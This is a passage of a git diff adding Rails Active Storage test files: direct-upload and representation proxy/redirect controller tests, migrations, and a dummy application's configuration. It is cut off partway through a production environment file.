+    blob = create_blob_before_direct_upload byte_size: data.size, checksum: OpenSSL::Digest::MD5.base64digest(data)
+
+    put blob.service_url_for_direct_upload, params: data, headers: { "Content-Type" => "text/plain" }
+    assert_response :no_content
+    assert_equal data, blob.download
+  end
+
+  test "directly uploading blob without integrity" do
+    data = "Something else entirely!"
+    blob = create_blob_before_direct_upload byte_size: data.size, checksum: OpenSSL::Digest::MD5.base64digest("bad data")
+
+    put blob.service_url_for_direct_upload, params: data
+    assert_response ActionDispatch::Constants::UNPROCESSABLE_CONTENT
+    assert_not blob.service.exist?(blob.key)
+  end
+
+  test "directly uploading blob with mismatched content type" do
+    data = "Something else entirely!"
+    blob = create_blob_before_direct_upload byte_size: data.size, checksum: OpenSSL::Digest::MD5.base64digest(data)
+
+    put blob.service_url_for_direct_upload, params: data, headers: { "Content-Type" => "application/octet-stream" }
+    assert_response ActionDispatch::Constants::UNPROCESSABLE_CONTENT
+    assert_not blob.service.exist?(blob.key)
+  end
+
+  test "directly uploading blob with different but equivalent content type" do
+    data = "Something else entirely!"
+    blob = create_blob_before_direct_upload(
+      byte_size: data.size, checksum: OpenSSL::Digest::MD5.base64digest(data), content_type: "application/x-gzip")
+
+    put blob.service_url_for_direct_upload, params: data, headers: { "Content-Type" => "application/x-gzip" }
+    assert_response :no_content
+    assert_equal data, blob.download
+  end
+
+  test "directly uploading blob with mismatched content length" do
+    data = "Something else entirely!"
+    blob = create_blob_before_direct_upload byte_size: data.size - 1, checksum: OpenSSL::Digest::MD5.base64digest(data)
+
+    put blob.service_url_for_direct_upload, params: data, headers: { "Content-Type" => "text/plain" }
+    assert_response ActionDispatch::Constants::UNPROCESSABLE_CONTENT
+    assert_not blob.service.exist?(blob.key)
+  end
+
+  test "directly uploading blob with invalid token" do
+    put update_rails_disk_service_url(encoded_token: "invalid"),
+      params: "Something else entirely!", headers: { "Content-Type" => "text/plain" }
+    assert_response :not_found
+  end
+end
diff --git a/activestorage/test/controllers/representations/proxy_controller_test.rb b/activestorage/test/controllers/representations/proxy_controller_test.rb
new file mode 100644
index 0000000000000..9f3ded24df77d
--- /dev/null
+++ b/activestorage/test/controllers/representations/proxy_controller_test.rb
@@ -0,0 +1,188 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+require "minitest/mock"
+
+class ActiveStorage::Representations::ProxyControllerWithVariantsTest < ActionDispatch::IntegrationTest
+  setup do
+    @blob = create_file_blob filename: "racecar.jpg"
+    @transformations = { resize_to_limit: [100, 100] }
+  end
+
+  test "showing variant attachment" do
+    get rails_blob_representation_proxy_url(
+      disposition: :attachment,
+      filename: @blob.filename,
+      signed_blob_id: @blob.signed_id,
+      variation_key: ActiveStorage::Variation.encode(@transformations))
+
+    assert_response :ok
+    assert_match(/^attachment/, response.headers["Content-Disposition"])
+    assert_equal @blob.variant(@transformations).download, response.body
+  end
+
+  test "showing variant inline" do
+    get rails_blob_representation_proxy_url(
+      filename: @blob.filename,
+      signed_blob_id: @blob.signed_id,
+      variation_key: ActiveStorage::Variation.encode(@transformations))
+
+    assert_response :ok
+    assert_match(/^inline/, response.headers["Content-Disposition"])
+    assert_equal @blob.variant(@transformations).download, response.body
+  end
+
+  test "showing untracked variant" do
+    without_variant_tracking do
+      get rails_blob_representation_proxy_url(
+        disposition: :attachment,
+        filename: @blob.filename,
+        signed_blob_id: @blob.signed_id,
+        variation_key: ActiveStorage::Variation.encode(@transformations))
+
+      assert_response :ok
+      assert_match(/^attachment/, response.headers["Content-Disposition"])
+      assert_equal @blob.variant(@transformations).download, response.body
+    end
+  end
+
+  test "showing variant with invalid signed blob ID" do
+    get rails_blob_representation_proxy_url(
+      filename: @blob.filename,
+      signed_blob_id: "invalid",
+      variation_key: ActiveStorage::Variation.encode(@transformations))
+
+    assert_response :not_found
+  end
+
+  test "showing variant with invalid variation key" do
+    get rails_blob_representation_proxy_url(
+      filename: @blob.filename,
+      signed_blob_id: @blob.signed_id,
+      variation_key: "invalid")
+
+    assert_response :not_found
+  end
+
+  test "sessions are disabled" do
+    get rails_blob_representation_proxy_url(
+      disposition: :attachment,
+      filename: @blob.filename,
+      signed_blob_id: @blob.signed_id,
+      variation_key: ActiveStorage::Variation.encode(@transformations))
+    assert request.session_options[:skip],
+      "Expected request.session_options[:skip] to be true"
+  end
+end
+
+class ActiveStorage::Representations::ProxyControllerWithVariantsWithStrictLoadingTest < ActionDispatch::IntegrationTest
+  setup do
+    @blob = create_file_blob filename: "racecar.jpg"
+    @transformations = { resize_to_limit: [100, 100] }
+    @blob.variant(@transformations).processed
+  end
+
+  test "showing existing variant record"  do
+    with_strict_loading_by_default do
+      get rails_blob_representation_proxy_url(
+        filename: @blob.filename,
+        signed_blob_id: @blob.signed_id,
+        variation_key: ActiveStorage::Variation.encode(@transformations))
+    end
+
+    assert_response :ok
+    assert_match(/^inline/, response.headers["Content-Disposition"])
+    assert_equal @blob.variant(@transformations).download, response.body
+  end
+
+
+  test "invalidates cache and returns a 404 if the file is not found on download" do
+    # This mock requires a pre-processed variant as processing the variant will call to download
+    mock_download = lambda do |_|
+      raise ActiveStorage::FileNotFoundError.new "File still uploading!"
+    end
+
+    @blob.service.stub(:download, mock_download) do
+      get rails_blob_representation_proxy_url(
+        filename: @blob.filename,
+        signed_blob_id: @blob.signed_id,
+        variation_key: ActiveStorage::Variation.encode(@transformations))
+    end
+    assert_response :not_found
+    assert_equal "no-cache", response.headers["Cache-Control"]
+  end
+
+  test "invalidates cache and returns a 500 if the an error is raised on download" do
+    # This mock requires a pre-processed variant as processing the variant will call to download
+    mock_download = lambda do |_|
+      raise StandardError.new "Something is not cool!"
+    end
+
+    @blob.service.stub(:download, mock_download) do
+      get rails_blob_representation_proxy_url(
+        filename: @blob.filename,
+        signed_blob_id: @blob.signed_id,
+        variation_key: ActiveStorage::Variation.encode(@transformations))
+    end
+    assert_response :internal_server_error
+    assert_equal "no-cache", response.headers["Cache-Control"]
+  end
+end
+
+class ActiveStorage::Representations::ProxyControllerWithPreviewsTest < ActionDispatch::IntegrationTest
+  setup do
+    @blob = create_file_blob filename: "report.pdf", content_type: "application/pdf"
+    @transformations = { resize_to_limit: [100, 100] }
+  end
+
+  test "showing preview inline" do
+    get rails_blob_representation_proxy_url(
+      filename: @blob.filename,
+      signed_blob_id: @blob.signed_id,
+      variation_key: ActiveStorage::Variation.encode(@transformations))
+
+    assert_response :ok
+    assert_match(/^inline/, response.headers["Content-Disposition"])
+    assert_equal @blob.preview(@transformations).download, response.body
+  end
+
+  test "showing preview with invalid signed blob ID" do
+    get rails_blob_representation_proxy_url(
+      filename: @blob.filename,
+      signed_blob_id: "invalid",
+      variation_key: ActiveStorage::Variation.encode(@transformations))
+
+    assert_response :not_found
+  end
+
+  test "showing preview with invalid variation key" do
+    get rails_blob_representation_proxy_url(
+      filename: @blob.filename,
+      signed_blob_id: @blob.signed_id,
+      variation_key: "invalid")
+
+    assert_response :not_found
+  end
+end
+
+class ActiveStorage::Representations::ProxyControllerWithPreviewsWithStrictLoadingTest < ActionDispatch::IntegrationTest
+  setup do
+    @blob = create_file_blob filename: "report.pdf", content_type: "application/pdf"
+    @transformations = { resize_to_limit: [100, 100] }
+    @blob.preview(@transformations).processed
+  end
+
+  test "showing existing preview record" do
+    with_strict_loading_by_default do
+      get rails_blob_representation_proxy_url(
+        filename: @blob.filename,
+        signed_blob_id: @blob.signed_id,
+        variation_key: ActiveStorage::Variation.encode(@transformations))
+    end
+
+    assert_response :ok
+    assert_match(/^inline/, response.headers["Content-Disposition"])
+    assert_equal @blob.preview(@transformations).download, response.body
+  end
+end
diff --git a/activestorage/test/controllers/representations/redirect_controller_test.rb b/activestorage/test/controllers/representations/redirect_controller_test.rb
new file mode 100644
index 0000000000000..cda2cfab3e15a
--- /dev/null
+++ b/activestorage/test/controllers/representations/redirect_controller_test.rb
@@ -0,0 +1,190 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::Representations::RedirectControllerWithVariantsTest < ActionDispatch::IntegrationTest
+  setup do
+    @blob = create_file_blob filename: "racecar.jpg"
+  end
+
+  test "showing variant inline" do
+    get rails_blob_representation_url(
+      filename: @blob.filename,
+      signed_blob_id: @blob.signed_id,
+      variation_key: ActiveStorage::Variation.encode(resize_to_limit: [100, 100]))
+
+    assert_redirected_to(/racecar\.jpg/)
+    follow_redirect!
+    assert_match(/^inline/, response.headers["Content-Disposition"])
+
+    image = read_image(@blob.variant(resize_to_limit: [100, 100]))
+    assert_equal 100, image.width
+    assert_equal 67, image.height
+  end
+
+  test "showing variant with invalid signed blob ID" do
+    get rails_blob_representation_url(
+      filename: @blob.filename,
+      signed_blob_id: "invalid",
+      variation_key: ActiveStorage::Variation.encode(resize_to_limit: [100, 100]))
+
+    assert_response :not_found
+  end
+
+  test "showing variant with invalid variation key" do
+    get rails_blob_representation_url(
+      filename: @blob.filename,
+      signed_blob_id: @blob.signed_id,
+      variation_key: "invalid")
+
+    assert_response :not_found
+  end
+end
+
+class ActiveStorage::Representations::RedirectControllerWithVariantsWithStrictLoadingTest < ActionDispatch::IntegrationTest
+  setup do
+    @blob = create_file_blob filename: "racecar.jpg"
+    @blob.variant(resize_to_limit: [100, 100]).processed
+  end
+
+  test "showing existing variant record inline" do
+    with_strict_loading_by_default do
+      get rails_blob_representation_url(
+        filename: @blob.filename,
+        signed_blob_id: @blob.signed_id,
+        variation_key: ActiveStorage::Variation.encode(resize_to_limit: [100, 100]))
+    end
+
+    assert_redirected_to(/racecar\.jpg/)
+    follow_redirect!
+    assert_match(/^inline/, response.headers["Content-Disposition"])
+
+    @blob.reload # became free of strict_loading?
+    image = read_image(@blob.variant(resize_to_limit: [100, 100]))
+    assert_equal 100, image.width
+    assert_equal 67, image.height
+  end
+end
+
+class ActiveStorage::Representations::RedirectControllerWithPreviewsTest < ActionDispatch::IntegrationTest
+  setup do
+    @blob = create_file_blob filename: "report.pdf", content_type: "application/pdf"
+  end
+
+  test "showing preview inline" do
+    get rails_blob_representation_url(
+      filename: @blob.filename,
+      signed_blob_id: @blob.signed_id,
+      variation_key: ActiveStorage::Variation.encode(resize_to_limit: [100, 100]))
+
+    assert_predicate @blob.preview_image, :attached?
+    assert_redirected_to(/report\.png/)
+    follow_redirect!
+    assert_match(/^inline/, response.headers["Content-Disposition"])
+
+    image = read_image(@blob.preview_image.variant(resize_to_limit: [100, 100]))
+    assert_equal 77, image.width
+    assert_equal 100, image.height
+  end
+
+  test "processing and recording variant for preview just once" do
+    variant_record_created = false
+    variant_record_loaded_count = 0
+
+    query_subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |event|
+      case event.payload[:sql]
+      when /INSERT INTO "active_storage_variant_records"/
+        variant_record_created = true
+      when /SELECT "active_storage_variant_records".* FROM "active_storage_variant_records"/
+        next unless variant_record_created
+        variant_record_loaded_count += 1
+      end
+    end
+
+    get rails_blob_representation_url(
+      filename: @blob.filename,
+      signed_blob_id: @blob.signed_id,
+      variation_key: ActiveStorage::Variation.encode(resize_to_limit: [100, 100]))
+
+    assert_equal 0, variant_record_loaded_count
+  ensure
+    ActiveSupport::Notifications.unsubscribe(query_subscriber) if query_subscriber
+  end
+
+  test "showing preview with invalid signed blob ID" do
+    get rails_blob_representation_url(
+      filename: @blob.filename,
+      signed_blob_id: "invalid",
+      variation_key: ActiveStorage::Variation.encode(resize_to_limit: [100, 100]))
+
+    assert_response :not_found
+  end
+
+  test "showing preview with invalid variation key" do
+    get rails_blob_representation_url(
+      filename: @blob.filename,
+      signed_blob_id: @blob.signed_id,
+      variation_key: "invalid")
+
+    assert_response :not_found
+  end
+end
+
+class ActiveStorage::Representations::RedirectControllerWithPreviewsWithStrictLoadingTest < ActionDispatch::IntegrationTest
+  setup do
+    @blob = create_file_blob filename: "report.pdf", content_type: "application/pdf"
+    @blob.preview(resize_to_limit: [100, 100]).processed.send(:variant).processed
+  end
+
+  test "showing existing preview record inline" do
+    with_strict_loading_by_default do
+      get rails_blob_representation_url(
+        filename: @blob.filename,
+        signed_blob_id: @blob.signed_id,
+        variation_key: ActiveStorage::Variation.encode(resize_to_limit: [100, 100]))
+    end
+
+    assert_predicate @blob.preview_image, :attached?
+    assert_redirected_to(/report\.png/)
+    follow_redirect!
+    assert_match(/^inline/, response.headers["Content-Disposition"])
+
+    @blob.reload # became free of strict_loading?
+    image = read_image(@blob.preview_image.variant(resize_to_limit: [100, 100]))
+    assert_equal 77, image.width
+    assert_equal 100, image.height
+  end
+end
+
+class ActiveStorage::Representations::RedirectControllerWithOpenRedirectTest < ActionDispatch::IntegrationTest
+  if SERVICE_CONFIGURATIONS[:s3]
+    test "showing existing variant stored in s3" do
+      with_raise_on_open_redirects(:s3) do
+        blob = create_file_blob filename: "racecar.jpg", service_name: :s3
+
+        get rails_blob_representation_url(
+          filename: blob.filename,
+          signed_blob_id: blob.signed_id,
+          variation_key: ActiveStorage::Variation.encode(resize_to_limit: [100, 100]))
+
+        assert_redirected_to(/racecar\.jpg/)
+      end
+    end
+  end
+
+  if SERVICE_CONFIGURATIONS[:gcs]
+    test "showing existing variant stored in gcs" do
+      with_raise_on_open_redirects(:gcs) do
+        blob = create_file_blob filename: "racecar.jpg", service_name: :gcs
+
+        get rails_blob_representation_url(
+          filename: blob.filename,
+          signed_blob_id: blob.signed_id,
+          variation_key: ActiveStorage::Variation.encode(resize_to_limit: [100, 100]))
+
+        assert_redirected_to(/racecar\.jpg/)
+      end
+    end
+  end
+end
diff --git a/activestorage/test/database/create_groups_migration.rb b/activestorage/test/database/create_groups_migration.rb
new file mode 100644
index 0000000000000..245266933f31c
--- /dev/null
+++ b/activestorage/test/database/create_groups_migration.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class ActiveStorageCreateGroups < ActiveRecord::Migration[6.0]
+  def change
+    create_table :groups do |t|
+    end
+  end
+end
diff --git a/activestorage/test/database/create_users_migration.rb b/activestorage/test/database/create_users_migration.rb
new file mode 100644
index 0000000000000..6539aed8c9a3a
--- /dev/null
+++ b/activestorage/test/database/create_users_migration.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class ActiveStorageCreateUsers < ActiveRecord::Migration[5.2]
+  def change
+    create_table :users do |t|
+      t.string :name
+      t.integer :group_id
+      t.timestamps
+    end
+  end
+end
diff --git a/activestorage/test/database/setup.rb b/activestorage/test/database/setup.rb
new file mode 100644
index 0000000000000..6e85c85b2151a
--- /dev/null
+++ b/activestorage/test/database/setup.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+require_relative "create_users_migration"
+require_relative "create_groups_migration"
+
+# Writing and reading roles are required for the "previewing on the writer DB" test
+ActiveRecord::Base.connects_to(database: { writing: :primary, reading: :replica })
+ActiveRecord::Base.connection_pool.migration_context.migrate
+ActiveStorageCreateUsers.migrate(:up)
+ActiveStorageCreateGroups.migrate(:up)
diff --git a/activestorage/test/dummy/Rakefile b/activestorage/test/dummy/Rakefile
new file mode 100644
index 0000000000000..9a5ea7383aa83
--- /dev/null
+++ b/activestorage/test/dummy/Rakefile
@@ -0,0 +1,6 @@
+# Add your own tasks in files placed in lib/tasks ending in .rake,
+# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
+
+require_relative "config/application"
+
+Rails.application.load_tasks
diff --git a/activestorage/test/dummy/app/assets/config/manifest.js b/activestorage/test/dummy/app/assets/config/manifest.js
new file mode 100644
index 0000000000000..591819335f0b2
--- /dev/null
+++ b/activestorage/test/dummy/app/assets/config/manifest.js
@@ -0,0 +1,2 @@
+//= link_tree ../images
+//= link_directory ../stylesheets .css
diff --git a/activestorage/test/dummy/app/assets/images/.keep b/activestorage/test/dummy/app/assets/images/.keep
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/activestorage/test/dummy/app/assets/stylesheets/application.css b/activestorage/test/dummy/app/assets/stylesheets/application.css
new file mode 100644
index 0000000000000..0ebd7fe8299eb
--- /dev/null
+++ b/activestorage/test/dummy/app/assets/stylesheets/application.css
@@ -0,0 +1,15 @@
+/*
+ * This is a manifest file that'll be compiled into application.css, which will include all the files
+ * listed below.
+ *
+ * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
+ * or any plugin's vendor/assets/stylesheets directory can be referenced here using a relative path.
+ *
+ * You're free to add application-wide styles to this file and they'll appear at the bottom of the
+ * compiled file so the styles you add here take precedence over styles defined in any other CSS/SCSS
+ * files in this directory. Styles in this file should be added after the last require_* statement.
+ * It is generally better to create a new file per style scope.
+ *
+ *= require_tree .
+ *= require_self
+ */
diff --git a/activestorage/test/dummy/app/channels/application_cable/channel.rb b/activestorage/test/dummy/app/channels/application_cable/channel.rb
new file mode 100644
index 0000000000000..d67269728300b
--- /dev/null
+++ b/activestorage/test/dummy/app/channels/application_cable/channel.rb
@@ -0,0 +1,4 @@
+module ApplicationCable
+  class Channel < ActionCable::Channel::Base
+  end
+end
diff --git a/activestorage/test/dummy/app/channels/application_cable/connection.rb b/activestorage/test/dummy/app/channels/application_cable/connection.rb
new file mode 100644
index 0000000000000..0ff5442f476f9
--- /dev/null
+++ b/activestorage/test/dummy/app/channels/application_cable/connection.rb
@@ -0,0 +1,4 @@
+module ApplicationCable
+  class Connection < ActionCable::Connection::Base
+  end
+end
diff --git a/activestorage/test/dummy/app/controllers/application_controller.rb b/activestorage/test/dummy/app/controllers/application_controller.rb
new file mode 100644
index 0000000000000..09705d12ab4df
--- /dev/null
+++ b/activestorage/test/dummy/app/controllers/application_controller.rb
@@ -0,0 +1,2 @@
+class ApplicationController < ActionController::Base
+end
diff --git a/activestorage/test/dummy/app/controllers/concerns/.keep b/activestorage/test/dummy/app/controllers/concerns/.keep
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/activestorage/test/dummy/app/helpers/application_helper.rb b/activestorage/test/dummy/app/helpers/application_helper.rb
new file mode 100644
index 0000000000000..de6be7945c6a5
--- /dev/null
+++ b/activestorage/test/dummy/app/helpers/application_helper.rb
@@ -0,0 +1,2 @@
+module ApplicationHelper
+end
diff --git a/activestorage/test/dummy/app/jobs/application_job.rb b/activestorage/test/dummy/app/jobs/application_job.rb
new file mode 100644
index 0000000000000..d394c3d106230
--- /dev/null
+++ b/activestorage/test/dummy/app/jobs/application_job.rb
@@ -0,0 +1,7 @@
+class ApplicationJob < ActiveJob::Base
+  # Automatically retry jobs that encountered a deadlock
+  # retry_on ActiveRecord::Deadlocked
+
+  # Most jobs are safe to ignore if the underlying records are no longer available
+  # discard_on ActiveJob::DeserializationError
+end
diff --git a/activestorage/test/dummy/app/mailers/application_mailer.rb b/activestorage/test/dummy/app/mailers/application_mailer.rb
new file mode 100644
index 0000000000000..3c34c8148f105
--- /dev/null
+++ b/activestorage/test/dummy/app/mailers/application_mailer.rb
@@ -0,0 +1,4 @@
+class ApplicationMailer < ActionMailer::Base
+  default from: "from@example.com"
+  layout "mailer"
+end
diff --git a/activestorage/test/dummy/app/models/application_record.rb b/activestorage/test/dummy/app/models/application_record.rb
new file mode 100644
index 0000000000000..b63caeb8a5c4a
--- /dev/null
+++ b/activestorage/test/dummy/app/models/application_record.rb
@@ -0,0 +1,3 @@
+class ApplicationRecord < ActiveRecord::Base
+  primary_abstract_class
+end
diff --git a/activestorage/test/dummy/app/models/concerns/.keep b/activestorage/test/dummy/app/models/concerns/.keep
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/activestorage/test/dummy/app/views/layouts/application.html.erb b/activestorage/test/dummy/app/views/layouts/application.html.erb
new file mode 100644
index 0000000000000..f72b4ef0e7316
--- /dev/null
+++ b/activestorage/test/dummy/app/views/layouts/application.html.erb
@@ -0,0 +1,15 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <title>Dummy</title>
+    <meta name="viewport" content="width=device-width,initial-scale=1">
+    <%= csrf_meta_tags %>
+    <%= csp_meta_tag %>
+
+    <%= stylesheet_link_tag "application" %>
+  </head>
+
+  <body>
+    <%= yield %>
+  </body>
+</html>
diff --git a/activestorage/test/dummy/app/views/layouts/mailer.html.erb b/activestorage/test/dummy/app/views/layouts/mailer.html.erb
new file mode 100644
index 0000000000000..3aac9002edca7
--- /dev/null
+++ b/activestorage/test/dummy/app/views/layouts/mailer.html.erb
@@ -0,0 +1,13 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+    <style>
+      /* Email styles need to be inline */
+    </style>
+  </head>
+
+  <body>
+    <%= yield %>
+  </body>
+</html>
diff --git a/activestorage/test/dummy/app/views/layouts/mailer.text.erb b/activestorage/test/dummy/app/views/layouts/mailer.text.erb
new file mode 100644
index 0000000000000..37f0bddbd746b
--- /dev/null
+++ b/activestorage/test/dummy/app/views/layouts/mailer.text.erb
@@ -0,0 +1 @@
+<%= yield %>
diff --git a/activestorage/test/dummy/bin/rails b/activestorage/test/dummy/bin/rails
new file mode 100755
index 0000000000000..efc0377492f7e
--- /dev/null
+++ b/activestorage/test/dummy/bin/rails
@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+APP_PATH = File.expand_path("../config/application", __dir__)
+require_relative "../config/boot"
+require "rails/commands"
diff --git a/activestorage/test/dummy/bin/rake b/activestorage/test/dummy/bin/rake
new file mode 100755
index 0000000000000..4fbf10b960ef7
--- /dev/null
+++ b/activestorage/test/dummy/bin/rake
@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+require_relative "../config/boot"
+require "rake"
+Rake.application.run
diff --git a/activestorage/test/dummy/bin/setup b/activestorage/test/dummy/bin/setup
new file mode 100755
index 0000000000000..3cd5a9d7801ca
--- /dev/null
+++ b/activestorage/test/dummy/bin/setup
@@ -0,0 +1,33 @@
+#!/usr/bin/env ruby
+require "fileutils"
+
+# path to your application root.
+APP_ROOT = File.expand_path("..", __dir__)
+
+def system!(*args)
+  system(*args, exception: true)
+end
+
+FileUtils.chdir APP_ROOT do
+  # This script is a way to set up or update your development environment automatically.
+  # This script is idempotent, so that you can run it at any time and get an expectable outcome.
+  # Add necessary setup steps to this file.
+
+  puts "== Installing dependencies =="
+  system! "gem install bundler --conservative"
+  system("bundle check") || system!("bundle install")
+
+  # puts "\n== Copying sample files =="
+  # unless File.exist?("config/database.yml")
+  #   FileUtils.cp "config/database.yml.sample", "config/database.yml"
+  # end
+
+  puts "\n== Preparing database =="
+  system! "bin/rails db:prepare"
+
+  puts "\n== Removing old logs and tempfiles =="
+  system! "bin/rails log:clear tmp:clear"
+
+  puts "\n== Restarting application server =="
+  system! "bin/rails restart"
+end
diff --git a/activestorage/test/dummy/config.ru b/activestorage/test/dummy/config.ru
new file mode 100644
index 0000000000000..4a3c09a6889a9
--- /dev/null
+++ b/activestorage/test/dummy/config.ru
@@ -0,0 +1,6 @@
+# This file is used by Rack-based servers to start the application.
+
+require_relative "config/environment"
+
+run Rails.application
+Rails.application.load_server
diff --git a/activestorage/test/dummy/config/application.rb b/activestorage/test/dummy/config/application.rb
new file mode 100644
index 0000000000000..fc9251fdcff8e
--- /dev/null
+++ b/activestorage/test/dummy/config/application.rb
@@ -0,0 +1,24 @@
+require_relative "boot"
+
+require "rails/all"
+
+# Require the gems listed in Gemfile, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(*Rails.groups)
+
+module Dummy
+  class Application < Rails::Application
+    config.load_defaults Rails::VERSION::STRING.to_f
+
+    # For compatibility with applications that use this config
+    config.action_controller.include_all_helpers = false
+
+    # Configuration for the application, engines, and railties goes here.
+    #
+    # These settings can be overridden in specific environments using the files
+    # in config/environments, which are processed later.
+    #
+    # config.time_zone = "Central Time (US & Canada)"
+    # config.eager_load_paths << Rails.root.join("extras")
+  end
+end
diff --git a/activestorage/test/dummy/config/boot.rb b/activestorage/test/dummy/config/boot.rb
new file mode 100644
index 0000000000000..d5e0f0fdc80b8
--- /dev/null
+++ b/activestorage/test/dummy/config/boot.rb
@@ -0,0 +1,5 @@
+# Set up gems listed in the Gemfile.
+ENV["BUNDLE_GEMFILE"] ||= File.expand_path("../../../../Gemfile", __dir__)
+
+require "bundler/setup" if File.exist?(ENV["BUNDLE_GEMFILE"])
+$LOAD_PATH.unshift File.expand_path("../../../lib", __dir__)
diff --git a/activestorage/test/dummy/config/cable.yml b/activestorage/test/dummy/config/cable.yml
new file mode 100644
index 0000000000000..98367f8954247
--- /dev/null
+++ b/activestorage/test/dummy/config/cable.yml
@@ -0,0 +1,10 @@
+development:
+  adapter: async
+
+test:
+  adapter: test
+
+production:
+  adapter: redis
+  url: <%= ENV.fetch("REDIS_URL") { "redis://localhost:6379/1" } %>
+  channel_prefix: dummy_production
diff --git a/activestorage/test/dummy/config/database.yml b/activestorage/test/dummy/config/database.yml
new file mode 100644
index 0000000000000..9d78fe0253432
--- /dev/null
+++ b/activestorage/test/dummy/config/database.yml
@@ -0,0 +1,29 @@
+# SQLite. Versions 3.8.0 and up are supported.
+#   gem install sqlite3
+#
+#   Ensure the SQLite 3 gem is defined in your Gemfile
+#   gem "sqlite3"
+#
+default: &default
+  adapter: sqlite3
+  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+  timeout: 5000
+
+development:
+  <<: *default
+  database: storage/development.sqlite3
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  primary:
+    <<: *default
+    database: ":memory:"
+  replica:
+    <<: *default
+    database: ":memory:"
+
+production:
+  <<: *default
+  database: storage/production.sqlite3
diff --git a/activestorage/test/dummy/config/environment.rb b/activestorage/test/dummy/config/environment.rb
new file mode 100644
index 0000000000000..cac5315775258
--- /dev/null
+++ b/activestorage/test/dummy/config/environment.rb
@@ -0,0 +1,5 @@
+# Load the Rails application.
+require_relative "application"
+
+# Initialize the Rails application.
+Rails.application.initialize!
diff --git a/activestorage/test/dummy/config/environments/development.rb b/activestorage/test/dummy/config/environments/development.rb
new file mode 100644
index 0000000000000..4d134bb530348
--- /dev/null
+++ b/activestorage/test/dummy/config/environments/development.rb
@@ -0,0 +1,73 @@
+require "active_support/core_ext/integer/time"
+
+Rails.application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # In the development environment your application's code is reloaded any time
+  # it changes. This slows down response time but is perfect for development
+  # since you don't have to restart the web server when you make code changes.
+  config.enable_reloading = true
+
+  # Do not eager load code on boot.
+  config.eager_load = false
+
+  # Show full error reports.
+  config.consider_all_requests_local = true
+
+  # Enable server timing
+  config.server_timing = true
+
+  # Enable/disable caching. By default caching is disabled.
+  # Run rails dev:cache to toggle caching.
+  if Rails.root.join("tmp/caching-dev.txt").exist?
+    config.action_controller.perform_caching = true
+    config.action_controller.enable_fragment_cache_logging = true
+
+    config.cache_store = :memory_store
+    config.public_file_server.headers = {
+      "Cache-Control" => "public, max-age=#{2.days.to_i}"
+    }
+  else
+    config.action_controller.perform_caching = false
+
+    config.cache_store = :null_store
+  end
+
+  # Store uploaded files on the local file system (see config/storage.yml for options).
+  config.active_storage.service = :local
+
+  # Don't care if the mailer can't send.
+  config.action_mailer.raise_delivery_errors = false
+
+  config.action_mailer.perform_caching = false
+
+  # Print deprecation notices to the Rails logger.
+  config.active_support.deprecation = :log
+
+  # Raise exceptions for disallowed deprecations.
+  config.active_support.disallowed_deprecation = :raise
+
+  # Tell Active Support which deprecation messages to disallow.
+  config.active_support.disallowed_deprecation_warnings = []
+
+  # Raise an error on page load if there are pending migrations.
+  config.active_record.migration_error = :page_load
+
+  # Highlight code that triggered database queries in logs.
+  config.active_record.verbose_query_logs = true
+
+  # Suppress logger output for asset requests.
+  config.assets.quiet = true
+
+  # Raises error for missing translations.
+  # config.i18n.raise_on_missing_translations = true
+
+  # Annotate rendered view with file names.
+  # config.action_view.annotate_rendered_view_with_filenames = true
+
+  # Uncomment if you wish to allow Action Cable access from any origin.
+  # config.action_cable.disable_request_forgery_protection = true
+
+  # Raise error when a before_action's only/except options reference missing actions
+  config.action_controller.raise_on_missing_callback_actions = true
+end
diff --git a/activestorage/test/dummy/config/environments/production.rb b/activestorage/test/dummy/config/environments/production.rb
new file mode 100644
index 0000000000000..999e332a7e2be
--- /dev/null
+++ b/activestorage/test/dummy/config/environments/production.rb
@@ -0,0 +1,89 @@
+require "active_support/core_ext/integer/time"
+
+Rails.application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # Code is not reloaded between requests.
+  config.enable_reloading = false
+
+  # Eager load code on boot. This eager loads most of Rails and
+  # your application in memory, allowing both threaded web servers
+  # and those relying on copy on write to perform better.
+  # Rake tasks automatically ignore this option for performance.
+  config.eager_load = true
+
+  # Full error reports are disabled and caching is turned on.
+  config.consider_all_requests_local       = false
+  config.action_controller.perform_caching = true
+
+  # Ensures that a master key has been made available in either ENV["RAILS_MASTER_KEY"]
+  # or in config/master.key. This key is used to decrypt credentials (and other encrypted files).
+  # config.require_master_key = true
+
+  # Disable serving static files from `public/`, relying on NGINX/Apache to do so instead.
+  # config.public_file_server.enabled = false
+
+  # Compress CSS using a preprocessor.
+  # config.assets.css_compressor = :sass
+
+  # Do not fall back to assets pipeline if a precompiled asset is missed.
+  config.assets.compile = false
+
+  # Enable serving of images, stylesheets, and JavaScripts from an asset server.
+  # config.asset_host = "http://assets.example.com"
+
+  # Specifies the header that your server uses for sending files.
+  # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for Apache
+  # config.action_dispatch.x_sendfile_header = "X-Accel-Redirect" # for NGINX
+
+  # Store uploaded files on the local file system (see config/storage.yml for options).
+  config.active_storage.service = :local
+
+  # Mount Action Cable outside main process or domain.
+  # config.action_cable.mount_path = nil
+  # config.action_cable.url = "wss://example.com/cable"
+  # config.action_cable.allowed_request_origins = [ "http://example.com", /http:\/\/example.*/ ]
